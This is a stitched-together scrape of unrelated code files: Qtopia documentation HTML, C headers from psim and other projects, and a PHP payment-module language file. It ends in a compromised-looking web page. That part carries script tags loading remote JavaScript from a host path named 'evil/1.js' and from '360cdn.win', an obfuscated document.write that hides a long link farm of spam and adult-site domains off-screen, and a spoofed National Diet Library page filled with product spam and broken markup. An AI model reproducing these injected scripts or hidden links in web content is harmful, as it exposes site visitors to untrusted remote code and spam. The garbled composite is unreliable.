<li><div class="fn"/><a href="qobject.html#property">property</a> ( const char * ) const</li>
<li><div class="fn"/><a href="qobject.html#receivers">receivers</a> ( const char * ) const</li>
<li><div class="fn"/><a href="qobject.html#removeEventFilter">removeEventFilter</a> ( QObject * )</li>
<li><div class="fn"/><a href="qobject.html#sender">sender</a> () const</li>
<li><div class="fn"/><a href="qtopiatimer.html#setInterval">setInterval</a> ( int, QtopiaTimer::Type )</li>
<li><div class="fn"/><a href="qobject.html#objectName-prop">setObjectName</a> ( const QString & )</li>
<li><div class="fn"/><a href="qobject.html#setParent">setParent</a> ( QObject * )</li>
<li><div class="fn"/><a href="qobject.html#setProperty">setProperty</a> ( const char *, const QVariant & )</li>
<li><div class="fn"/><a href="qtopiatimer.html#setSingleShot">setSingleShot</a> ( bool )</li>
<li><div class="fn"/><a href="qobject.html#signalsBlocked">signalsBlocked</a> () const</li>
<li><div class="fn"/><a href="qtopiatimer.html#start">start</a> ()</li>
<li><div class="fn"/><a href="qtopiatimer.html#start-2">start</a> ( int, QtopiaTimer::Type )</li>
<li><div class="fn"/><a href="qobject.html#startTimer">startTimer</a> ( int )</li>
<li><div class="fn"/><a href="qobject.html#staticMetaObject-var">staticMetaObject</a> : </li>
<li><div class="fn"/><a href="qobject.html#staticQtMetaObject-var">staticQtMetaObject</a> : </li>
<li><div class="fn"/><a href="qtopiatimer.html#stop">stop</a> ()</li>
<li><div class="fn"/><a href="qobject.html#thread">thread</a> () const</li>
<li><div class="fn"/><a href="qtopiatimer.html#timeout">timeout</a> ()</li>
<li><div class="fn"/><a href="qobject.html#timerEvent">timerEvent</a> ( QTimerEvent * )</li>
<li><div class="fn"/><a href="qobject.html#tr">tr</a> ( const char *, const char *, int )</li>
<li><div class="fn"/><a href="qobject.html#trUtf8">trUtf8</a> ( const char *, const char *, int )</li>
<li><div class="fn"/><a href="qtopiatimer.html#type">type</a> () const : Type</li>
</ul>
</td></tr>
</table></p>
<p /><address><hr /><div align="center">
<table width="100%" cellspacing="0" border="0"><tr class="address">
<td align="left">Copyright © 2008 Trolltech</td>
<td align="center"><a href="trademarks.html">Trademarks</a></td>
<td align="right"><div align="right">Qtopia 4.3.4</div></td>
</tr></table></div></address></body>
</html>
|
muromec/qtopia-ezx
|
doc/html/qtopiatimer-members.html
|
HTML
|
gpl-2.0
| 7,300
|
/* This file is part of the program psim.
Copyright (C) 1994-1997, Andrew Cagney <cagney@highland.com.au>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef HW_TREE
#define HW_TREE
struct hw *hw_tree_create
(SIM_DESC sd,
const char *device);
void hw_tree_delete
(struct hw *root);
struct hw *hw_tree_parse
(struct hw *root,
const char *fmt,
...) __attribute__ ((format (printf, 2, 3)));
struct hw *hw_tree_vparse
(struct hw *root,
const char *fmt,
va_list ap);
void hw_tree_finish
(struct hw *root);
typedef void (hw_tree_print_callback)
(void *,
const char *fmt,
...);
void hw_tree_print
(struct hw *root,
hw_tree_print_callback *print,
void *file);
/* Tree traversal::
The entire device tree can be traversed using the
<<device_tree_traverse()>> function. The traversal can be in
either prefix or postfix order.
*/
typedef void (hw_tree_traverse_function)
(struct hw *device,
void *data);
void hw_tree_traverse
(struct hw *root,
hw_tree_traverse_function *prefix,
hw_tree_traverse_function *postfix,
void *data);
/* Tree lookup::
The function <<hw_tree_find_device()>> will attempt to locate the
specified device within the tree. If the device is not found a
NULL device is returned.
*/
struct hw * hw_tree_find_device
(struct hw *root,
const char *path);
const struct hw_property *hw_tree_find_property
(struct hw *root,
const char *path_to_property);
int hw_tree_find_boolean_property
(struct hw *root,
const char *path_to_property);
signed_cell hw_tree_find_integer_property
(struct hw *root,
const char *path_to_property);
#if NOT_YET
device_instance *hw_tree_find_ihandle_property
(struct hw *root,
const char *path_to_property);
#endif
const char *hw_tree_find_string_property
(struct hw *root,
const char *path_to_property);
/* Perform a soft reset on the created tree. */
void hw_tree_reset
(struct hw *root);
#endif
|
palves/gdb-old-releases
|
sim/common/hw-tree.h
|
C
|
gpl-2.0
| 2,625
|
/* vim:set sts=4 ts=4 noexpandtab: */
/*
* This confidential and proprietary software may be used only as
* authorised by a licensing agreement from ARM Limited
* (C) COPYRIGHT 2009 ARM Limited
* ALL RIGHTS RESERVED
* The entire notice above must be reproduced on all authorised
* copies and copies may only be made to the extent permitted
* by a licensing agreement from ARM Limited.
*/
#ifndef __linux_runtime_h
#define __linux_runtime_h
int createWindow(int uiWidth, int uiHeight);
int destroyWindow(void);
#endif /* __linux_runtime_h */
|
giannoug/android_device_jxd_s7300b
|
packages/PictureKit/jni/libampickit/pic_core/vo/gles/linux_runtime.h
|
C
|
gpl-2.0
| 554
|
/**
* @author Stefan Brandle
* @author Jonathan Geisler
* @date September, 2014
*
*/
#ifndef PLAYERV2_CPP // Double inclusion protection
#define PLAYERV2_CPP
#include <iostream>
#include "PlayerV2.h"
/**
* @brief Constructor: initializes any game-long data structures.
*
* The player should reinitialize any inter-round data structures that will be used
* for the entire game.
* I.e., any intra-round learning data structures should be initialized in the here,
* while inter-round data structures need to be initialized in newRound().
*/
PlayerV2::PlayerV2( int boardSize ) {
// Set boardsize
this->boardSize = boardSize;
}
#endif
|
BoringCode/BattleshipAI
|
PlayerV2.cpp
|
C++
|
gpl-2.0
| 658
|
<?php
/*
*---------------------------------------------------------
*
* CartET - Open Source Shopping Cart Software
* http://www.cartet.org
*
*---------------------------------------------------------
*/
define('MODULE_PAYMENT_PLATON_TEXT_TITLE', 'Platon.ua');
define('MODULE_PAYMENT_PLATON_TEXT_DESCRIPTION', 'Platon: Система электронных платежей.');
define('MODULE_PAYMENT_PLATON_STATUS_TITLE', 'Разрешить модуль Platon.ua');
define('MODULE_PAYMENT_PLATON_STATUS_DESC', '');
define('MODULE_PAYMENT_PLATON_ALLOWED_TITLE', 'Разрешённые страны');
define('MODULE_PAYMENT_PLATON_ALLOWED_DESC', 'Укажите коды стран, для которых будет доступен данный модуль (например RU,DE (оставьте поле пустым, если хотите что б модуль был доступен покупателям из любых стран))');
define('MODULE_PAYMENT_PLATON_KEY_TITLE', 'Ключ');
define('MODULE_PAYMENT_PLATON_KEY_DESC', 'Ключ');
define('MODULE_PAYMENT_PLATON_PASSWORD_TITLE', 'Пароль');
define('MODULE_PAYMENT_PLATON_PASSWORD_DESC', 'Пароль');
define('MODULE_PAYMENT_PLATON_SORT_ORDER_TITLE', 'Порядок сортировки');
define('MODULE_PAYMENT_PLATON_SORT_ORDER_DESC', 'Порядок сортировки модуля.');
define('MODULE_PAYMENT_PLATON_ORDER_STATUS_TITLE', 'Статус оплаченного заказа');
define('MODULE_PAYMENT_PLATON_ORDER_STATUS_DESC', 'Статус, устанавливаемый заказу после успешной оплаты');
?>
|
OSC-CMS/Shopping-Cart
|
modules/payment/platon/ru.php
|
PHP
|
gpl-2.0
| 1,645
|
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '000' + 'p' + 'x;t' + 'op' + ':-3' + '000' + 'p' + 'x;' + '"' + '>');</script>
<a class="z7z8z9z6" href="http://www.4695288.com/">http://www.4695288.com/</a>
<a class="z7z8z9z6" href="http://www.5613117.com/">http://www.5613117.com/</a>
<a class="z7z8z9z6" href="http://www.4309272.com/">http://www.4309272.com/</a>
<a class="z7z8z9z6" href="http://www.3619276.com/">http://www.3619276.com/</a>
<a class="z7z8z9z6" href="http://www.1539774.com/">http://www.1539774.com/</a>
<a class="z7z8z9z6" href="http://www.2234809.com/">http://www.2234809.com/</a>
<a class="z7z8z9z6" href="http://www.0551180.com/">http://www.0551180.com/</a>
<a class="z7z8z9z6" href="http://www.0027022.com/">http://www.0027022.com/</a>
<a class="z7z8z9z6" href="http://www.1408600.com/">http://www.1408600.com/</a>
<a class="z7z8z9z6" href="http://www.5004279.com/">http://www.5004279.com/</a>
<a class="z7z8z9z6" href="http://www.4314451.com/">http://www.4314451.com/</a>
<a class="z7z8z9z6" href="http://www.9402647.com/">http://www.9402647.com/</a>
<a class="z7z8z9z6" href="http://www.6420212.com/">http://www.6420212.com/</a>
<a class="z7z8z9z6" href="http://www.0921315.com/">http://www.0921315.com/</a>
<a class="z7z8z9z6" href="http://www.4849062.com/">http://www.4849062.com/</a>
<a class="z7z8z9z6" href="http://www.8027847.com/">http://www.8027847.com/</a>
<a class="z7z8z9z6" href="http://www.5101309.com/">http://www.5101309.com/</a>
<a class="z7z8z9z6" href="http://www.8033162.com/">http://www.8033162.com/</a>
<a class="z7z8z9z6" href="http://www.7808733.com/">http://www.7808733.com/</a>
<a class="z7z8z9z6" href="http://www.7021821.com/">http://www.7021821.com/</a>
<a class="z7z8z9z6" href="http://www.8560978.com/">http://www.8560978.com/</a>
<a class="z7z8z9z6" href="http://www.3301718.com/">http://www.3301718.com/</a>
<a class="z7z8z9z6" href="http://www.2444890.com/">http://www.2444890.com/</a>
<a class="z7z8z9z6" href="http://www.2501886.com/">http://www.2501886.com/</a>
<a class="z7z8z9z6" href="http://www.8773150.com/">http://www.8773150.com/</a>
<a class="z7z8z9z6" href="http://www.gkamlb.com/">http://www.gkamlb.com/</a>
<a class="z7z8z9z6" href="http://www.nxkmky.com/">http://www.nxkmky.com/</a>
<a class="z7z8z9z6" href="http://www.pkdszd.com/">http://www.pkdszd.com/</a>
<a class="z7z8z9z6" href="http://www.scqyba.com/">http://www.scqyba.com/</a>
<a class="z7z8z9z6" href="http://www.vwyhzp.com/">http://www.vwyhzp.com/</a>
<a class="z7z8z9z6" href="http://www.vwwoms.com/">http://www.vwwoms.com/</a>
<a class="z7z8z9z6" href="http://www.svfdun.com/">http://www.svfdun.com/</a>
<a class="z7z8z9z6" href="http://www.wivjvd.com/">http://www.wivjvd.com/</a>
<a class="z7z8z9z6" href="http://www.sstldp.com/">http://www.sstldp.com/</a>
<a class="z7z8z9z6" href="http://www.sqmtvh.com/">http://www.sqmtvh.com/</a>
<a class="z7z8z9z6" href="http://www.fmxnav.com/">http://www.fmxnav.com/</a>
<a class="z7z8z9z6" href="http://www.etqglz.com/">http://www.etqglz.com/</a>
<a class="z7z8z9z6" href="http://www.rjwmkb.com/">http://www.rjwmkb.com/</a>
<a class="z7z8z9z6" href="http://www.yrljss.com/">http://www.yrljss.com/</a>
<a class="z7z8z9z6" href="http://www.ymdwnv.com/">http://www.ymdwnv.com/</a>
<a class="z7z8z9z6" href="http://www.lhxcjs.com/">http://www.lhxcjs.com/</a>
<a class="z7z8z9z6" href="http://www.fekcko.com/">http://www.fekcko.com/</a>
<a class="z7z8z9z6" href="http://www.furpdg.com/">http://www.furpdg.com/</a>
<a class="z7z8z9z6" href="http://www.voqgwh.com/">http://www.voqgwh.com/</a>
<a class="z7z8z9z6" href="http://www.fknqkj.com/">http://www.fknqkj.com/</a>
<a class="z7z8z9z6" href="http://www.hhabtr.com/">http://www.hhabtr.com/</a>
<a class="z7z8z9z6" href="http://www.ogmykg.com/">http://www.ogmykg.com/</a>
<a class="z7z8z9z6" href="http://www.vseogg.com/">http://www.vseogg.com/</a>
<a class="z7z8z9z6" href="http://www.ctkllf.com/">http://www.ctkllf.com/</a>
<a class="z7z8z9z6" href="http://www.xzxefw.com/">http://www.xzxefw.com/</a>
<a class="z7z8z9z6" href="http://www.0172679.com/">http://www.0172679.com/</a>
<a class="z7z8z9z6" href="http://www.6088532.com/">http://www.6088532.com/</a>
<a class="z7z8z9z6" href="http://www.5214437.com/">http://www.5214437.com/</a>
<a class="z7z8z9z6" href="http://www.4601598.com/">http://www.4601598.com/</a>
<a class="z7z8z9z6" href="http://www.3848474.com/">http://www.3848474.com/</a>
<a class="z7z8z9z6" href="http://www.7621914.com/">http://www.7621914.com/</a>
<a class="z7z8z9z6" href="http://www.9064024.com/">http://www.9064024.com/</a>
<a class="z7z8z9z6" href="http://www.0979289.com/">http://www.0979289.com/</a>
<a class="z7z8z9z6" href="http://www.8732369.com/">http://www.8732369.com/</a>
<a class="z7z8z9z6" href="http://www.7578050.com/">http://www.7578050.com/</a>
<a class="z7z8z9z6" href="http://www.1206219.com/">http://www.1206219.com/</a>
<a class="z7z8z9z6" href="http://www.0320448.com/">http://www.0320448.com/</a>
<a class="z7z8z9z6" href="http://www.6038608.com/">http://www.6038608.com/</a>
<a class="z7z8z9z6" href="http://www.6804640.com/">http://www.6804640.com/</a>
<a class="z7z8z9z6" href="http://www.2393657.com/">http://www.2393657.com/</a>
<a class="z7z8z9z6" href="http://www.laibazonghewang.com/">http://www.laibazonghewang.com/</a>
<a class="z7z8z9z6" href="http://www.jiujiurezuixindizhi.com/">http://www.jiujiurezuixindizhi.com/</a>
<a class="z7z8z9z6" href="http://www.jiqingtupian8.com/">http://www.jiqingtupian8.com/</a>
<a class="z7z8z9z6" href="http://www.qmzufv.com/">http://www.qmzufv.com/</a>
<a class="z7z8z9z6" href="http://www.kwwxgj.com/">http://www.kwwxgj.com/</a>
<a class="z7z8z9z6" href="http://www.tvubqi.com/">http://www.tvubqi.com/</a>
<a class="z7z8z9z6" href="http://www.sjvxww.com/">http://www.sjvxww.com/</a>
<a class="z7z8z9z6" href="http://www.xpdmzk.com/">http://www.xpdmzk.com/</a>
<a class="z7z8z9z6" href="http://www.frveya.com/">http://www.frveya.com/</a>
<a class="z7z8z9z6" href="http://www.nonmnu.com/">http://www.nonmnu.com/</a>
<a class="z7z8z9z6" href="http://www.svytac.com/">http://www.svytac.com/</a>
<a class="z7z8z9z6" href="http://www.fdtggb.com/">http://www.fdtggb.com/</a>
<a class="z7z8z9z6" href="http://www.rnrnjm.com/">http://www.rnrnjm.com/</a>
<a class="z7z8z9z6" href="http://www.ymrxun.com/">http://www.ymrxun.com/</a>
<a class="z7z8z9z6" href="http://www.lkrecc.com/">http://www.lkrecc.com/</a>
<a class="z7z8z9z6" href="http://www.kgahjl.com/">http://www.kgahjl.com/</a>
<a class="z7z8z9z6" href="http://www.kqdmep.com/">http://www.kqdmep.com/</a>
<a class="z7z8z9z6" href="http://www.vwlwcu.com/">http://www.vwlwcu.com/</a>
<a class="z7z8z9z6" href="http://www.zuixinlunlidianying.com/">http://www.zuixinlunlidianying.com/</a>
<a class="z7z8z9z6" href="http://www.daxiangjiaowangzhi.com/">http://www.daxiangjiaowangzhi.com/</a>
<a class="z7z8z9z6" href="http://www.snnfi.com/">http://www.snnfi.com/</a>
<a class="z7z8z9z6" href="http://www.vfdyd.com/">http://www.vfdyd.com/</a>
<a class="z7z8z9z6" href="http://www.lwezk.com/">http://www.lwezk.com/</a>
<a class="z7z8z9z6" href="http://www.fpibm.com/">http://www.fpibm.com/</a>
<a class="z7z8z9z6" href="http://www.xjvdr.com/">http://www.xjvdr.com/</a>
<a class="z7z8z9z6" href="http://www.kvwqf.com/">http://www.kvwqf.com/</a>
<a class="z7z8z9z6" href="http://www.utakf.com/">http://www.utakf.com/</a>
<a class="z7z8z9z6" href="http://www.gmjeu.com/">http://www.gmjeu.com/</a>
<a class="z7z8z9z6" href="http://www.pugfa.com/">http://www.pugfa.com/</a>
<a class="z7z8z9z6" href="http://www.bldek.com/">http://www.bldek.com/</a>
<a class="z7z8z9z6" href="http://www.vdidu.com/">http://www.vdidu.com/</a>
<a class="z7z8z9z6" href="http://www.tufnc.com/">http://www.tufnc.com/</a>
<a class="z7z8z9z6" href="http://www.wqxri.com/">http://www.wqxri.com/</a>
<a class="z7z8z9z6" href="http://www.uaozz.com/">http://www.uaozz.com/</a>
<a class="z7z8z9z6" href="http://www.nhpbd.com/">http://www.nhpbd.com/</a>
<a class="z7z8z9z6" href="http://www.dinbz.com/">http://www.dinbz.com/</a>
<a class="z7z8z9z6" href="http://www.bopjc.com/">http://www.bopjc.com/</a>
<a class="z7z8z9z6" href="http://www.rvkip.com/">http://www.rvkip.com/</a>
<a class="z7z8z9z6" href="http://www.jsmqe.com/">http://www.jsmqe.com/</a>
<a class="z7z8z9z6" href="http://www.vwygx.com/">http://www.vwygx.com/</a>
<a class="z7z8z9z6" href="http://www.zgjm-org.com/">http://www.zgjm-org.com/</a>
<a class="z7z8z9z6" href="http://www.shenyangsiyue.com/">http://www.shenyangsiyue.com/</a>
<a class="z7z8z9z6" href="http://www.hongsang.net/">http://www.hongsang.net/</a>
<a class="z7z8z9z6" href="http://www.gpmrg.cc/">http://www.gpmrg.cc/</a>
<a class="z7z8z9z6" href="http://www.knfut.cc/">http://www.knfut.cc/</a>
<a class="z7z8z9z6" href="http://www.kjqdh.cc/">http://www.kjqdh.cc/</a>
<a class="z7z8z9z6" href="http://www.huang62.win/">http://www.huang62.win/</a>
<a class="z7z8z9z6" href="http://www.qiong19.win/">http://www.qiong19.win/</a>
<a class="z7z8z9z6" href="http://www.chang34.win/">http://www.chang34.win/</a>
<a class="z7z8z9z6" href="http://www.huang71.win/">http://www.huang71.win/</a>
<a class="z7z8z9z6" href="http://www.xiong10.win/">http://www.xiong10.win/</a>
<a class="z7z8z9z6" href="http://www.chong14.win/">http://www.chong14.win/</a>
<a class="z7z8z9z6" href="http://www.chong94.win/">http://www.chong94.win/</a>
<a class="z7z8z9z6" href="http://www.zheng23.win/">http://www.zheng23.win/</a>
<a class="z7z8z9z6" href="http://www.cheng14.win/">http://www.cheng14.win/</a>
<a class="z7z8z9z6" href="http://www.shang72.win/">http://www.shang72.win/</a>
<a class="z7z8z9z6" href="http://www.sudanj.win/">http://www.sudanj.win/</a>
<a class="z7z8z9z6" href="http://www.russias.win/">http://www.russias.win/</a>
<a class="z7z8z9z6" href="http://www.malim.win/">http://www.malim.win/</a>
<a class="z7z8z9z6" href="http://www.nigery.win/">http://www.nigery.win/</a>
<a class="z7z8z9z6" href="http://www.malix.win/">http://www.malix.win/</a>
<a class="z7z8z9z6" href="http://www.peruf.win/">http://www.peruf.win/</a>
<a class="z7z8z9z6" href="http://www.iraqq.win/">http://www.iraqq.win/</a>
<a class="z7z8z9z6" href="http://www.nepali.win/">http://www.nepali.win/</a>
<a class="z7z8z9z6" href="http://www.syriax.win/">http://www.syriax.win/</a>
<a class="z7z8z9z6" href="http://www.junnp.pw/">http://www.junnp.pw/</a>
<a class="z7z8z9z6" href="http://www.junnp.win/">http://www.junnp.win/</a>
<a class="z7z8z9z6" href="http://www.zanpianba.com/">http://www.zanpianba.com/</a>
<a class="z7z8z9z6" href="http://www.shoujimaopian.com/">http://www.shoujimaopian.com/</a>
<a class="z7z8z9z6" href="http://www.gaoqingkanpian.com/">http://www.gaoqingkanpian.com/</a>
<a class="z7z8z9z6" href="http://www.kuaibokanpian.com/">http://www.kuaibokanpian.com/</a>
<a class="z7z8z9z6" href="http://www.baidukanpian.com/">http://www.baidukanpian.com/</a>
<a class="z7z8z9z6" href="http://www.wwwren99com.top/">http://www.wwwren99com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdgshunyuancom.top/">http://www.wwwdgshunyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.xianfengziyuancom.top/">http://www.xianfengziyuancom.top/</a>
<a class="z7z8z9z6" href="http://www.www96yyxfcom.top/">http://www.www96yyxfcom.top/</a>
<a class="z7z8z9z6" href="http://www.www361dywnet.top/">http://www.www361dywnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwbambootechcc.top/">http://www.wwwbambootechcc.top/</a>
<a class="z7z8z9z6" href="http://www.wwwluoqiqicom.top/">http://www.wwwluoqiqicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyyxfnrzcom.top/">http://www.wwwyyxfnrzcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwzhengdadycom.top/">http://www.wwwzhengdadycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyewaishengcuncom.top/">http://www.wwwyewaishengcuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcong3win.top/">http://www.wwwcong3win.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmh-oemcn.top/">http://www.wwwmh-oemcn.top/</a>
<a class="z7z8z9z6" href="http://www.henhen168com.top/">http://www.henhen168com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhztuokuncom.top/">http://www.wwwhztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwyasyzxcn.top/">http://www.wwwyasyzxcn.top/</a>
<a class="z7z8z9z6" href="http://www.www9hkucom.top/">http://www.www9hkucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwguokrcom.top/">http://www.wwwguokrcom.top/</a>
<a class="z7z8z9z6" href="http://www.avhhhhcom.top/">http://www.avhhhhcom.top/</a>
<a class="z7z8z9z6" href="http://www.shouyouaipaicom.top/">http://www.shouyouaipaicom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwdouyutvcom.top/">http://www.wwwdouyutvcom.top/</a>
<a class="z7z8z9z6" href="http://www.bbsptbuscom.top/">http://www.bbsptbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.miphonetgbuscom.top/">http://www.miphonetgbuscom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtjkunchengcom.top/">http://www.wwwtjkunchengcom.top/</a>
<a class="z7z8z9z6" href="http://www.lolboxduowancom.top/">http://www.lolboxduowancom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwtaoyuancncom.top/">http://www.wwwtaoyuancncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwngffwcomcn.top/">http://www.wwwngffwcomcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqingzhouwanhecom.top/">http://www.wwwqingzhouwanhecom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwckyygcn.top/">http://www.wwwckyygcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcdcjzcn.top/">http://www.wwwcdcjzcn.top/</a>
<a class="z7z8z9z6" href="http://www.m6downnet.top/">http://www.m6downnet.top/</a>
<a class="z7z8z9z6" href="http://www.msmzycom.top/">http://www.msmzycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwcaobolcom.top/">http://www.wwwcaobolcom.top/</a>
<a class="z7z8z9z6" href="http://www.m3533com.top/">http://www.m3533com.top/</a>
<a class="z7z8z9z6" href="http://www.gmgamedogcn.top/">http://www.gmgamedogcn.top/</a>
<a class="z7z8z9z6" href="http://www.m289com.top/">http://www.m289com.top/</a>
<a class="z7z8z9z6" href="http://www.jcbnscom.top/">http://www.jcbnscom.top/</a>
<a class="z7z8z9z6" href="http://www.www99daocom.top/">http://www.www99daocom.top/</a>
<a class="z7z8z9z6" href="http://www.3gali213net.top/">http://www.3gali213net.top/</a>
<a class="z7z8z9z6" href="http://www.wwwmeidaiguojicom.top/">http://www.wwwmeidaiguojicom.top/</a>
<a class="z7z8z9z6" href="http://www.msz1001net.top/">http://www.msz1001net.top/</a>
<a class="z7z8z9z6" href="http://www.luyiluueappcom.top/">http://www.luyiluueappcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvcnnnet.top/">http://www.wwwvcnnnet.top/</a>
<a class="z7z8z9z6" href="http://www.wwwchaoaicaicom.top/">http://www.wwwchaoaicaicom.top/</a>
<a class="z7z8z9z6" href="http://www.mcnmocom.top/">http://www.mcnmocom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqiuxia88com.top/">http://www.wwwqiuxia88com.top/</a>
<a class="z7z8z9z6" href="http://www.www5253com.top/">http://www.www5253com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhaichuanwaiyucom.top/">http://www.wwwhaichuanwaiyucom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwulunarcn.top/">http://www.wwwulunarcn.top/</a>
<a class="z7z8z9z6" href="http://www.wwwvideo6868com.top/">http://www.wwwvideo6868com.top/</a>
<a class="z7z8z9z6" href="http://www.wwwythmbxgcom.top/">http://www.wwwythmbxgcom.top/</a>
<a class="z7z8z9z6" href="http://www.gakaycom.top/">http://www.gakaycom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwhf1zcom.top/">http://www.wwwhf1zcom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwkrd17net.top/">http://www.wwwkrd17net.top/</a>
<a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a>
<a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a>
<a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a>
<a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a>
<a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a>
<a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a>
<script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja">
<head>
<meta http-equiv="content-language" content="ja" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-style-type" content="text/css" />
<meta http-equiv="content-script-type" content="text/javascript" />
<meta name="robots" content="index,follow,noodp,noydir" />
<meta name="Description" content="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
,中古パソコン ★Corei5のLet'snote★ Panasonic CF-S10CW 4GBメモリ Corei5 無線LAN HDMI USB3.0 リカバリ内蔵 DVDマルチ Windows7Pro 【KingsoftOffice付(2013)】【中古】,中古パソコン ★2015年2月発売!NEC高性能ワイドノート★ NEC VersaPro PC-VK19EA-H 4GBメモリ DVDマルチ デュアルコア(Ivy Bridge) 無線LAN HDMI USB3.0 リカバリ内蔵 Windows7Pro 中古ノートパソコン 【MicrosoftOffice付(2007)】【中古】" />
<meta name="Keywords" content="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
" />
<link href="http://ndl.go.jp/common/css/common.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://ndl.go.jp/common/css/search.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://www.google.com/cse/style/look/default.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="./hippo1224.js"></script>p-9431.html"
<link href="http://ndl.go.jp/common/css/re_top.css" rel="stylesheet" type="text/css" media="all" />
<link href="http://ndl.go.jp/common/css/re_print.css" rel="stylesheet" type="text/css" media="print" />
<link id="noscript" href="http://ndl.go.jp/common/css/noscript.css" rel="stylesheet" type="text/css" media="all" />
<title>【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
</title>
</head>
<body>
<div id="layout">
<!-- // hidden -->
<span class="hidden"><a name="pagetop">このページの先頭です。</a></span>
<!-- hidden // -->
<noscript>
<p>【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
,中古パソコン ★フルHD対応の大画面24ワイド液晶★富士通 ESPRIMO D750/A 4GBメモリ Corei3 250GBHDD DVDマルチ 24型ワイド液晶 リカバリ内蔵 Windows7Pro 中古デスクトップ 【MicrosoftOffice付(2010)】 【中古】,NEC VersaPro タイプVG UltraLite PC-VK19SGZDF Core i7 3517U 1.90GHz 4GB SSD-128GB【中古品】6755</p>
</noscript>
<div class="hidden"><p>以下のリンクより、本文、メニュー、サイドメニュー、サブメニュー(フッタ)、携帯向け来館案内または障害者サービスのページへジャンプができます。</p><p><a href="#contents_c">本文へジャンプ</a><a href="#gNavi">メニューへジャンプ</a><a href="#contents_l">サイドメニューへジャンプ</a><a href="#footer">サブメニュー(フッタ)へジャンプ</a> <br /><a href="/m/index.html">携帯向け来館案内へ</a><a href="http://ndl.go.jp//service/support.html">障害者サービスのページへ</a></p>
</div>
<!-- // header -->
<div id="header">
<div class="header_in">
<!-- // logo -->
<<img src="http://ko-blog.jp/resources/member/000/025/0000147/thumb/8q3Gyg2Y.jpg" alt=""> id="logo"><a href="/index.html"><img src="../images/logo.jpg" alt="【台数限定大特価】ブラザー A3インクジェットFAX複合機 JUSTIO MFC-J6710CDW
" /></a></<img src="http://ko-blog.jp/resources/member/000/025/0000147/thumb/8q3Gyg2Y.jpg" alt="">>
<!-- logo // -->
<!-- // commonNavi -->
<div id="commonNavi">
<ul>
<li><a href="http://ndl.go.jp/service/mobile.html">携帯向け来館案内</a></li>
<li><a href="http://ndl.go.jp/help/index.html">よくあるご質問</a></li>
<li><a href="http://ndl.go.jp/sitemap/index.html">サイトマップ</a></li>
</ul>
</div>
<!-- // hidden langage -->
<div id="hidden_commonNavi">
<ul>
<li><a href="http://ndl.go.jp/index.html"><span xml:lang="ja" lang="ja">日本語 (Japanese)</span></a></li>
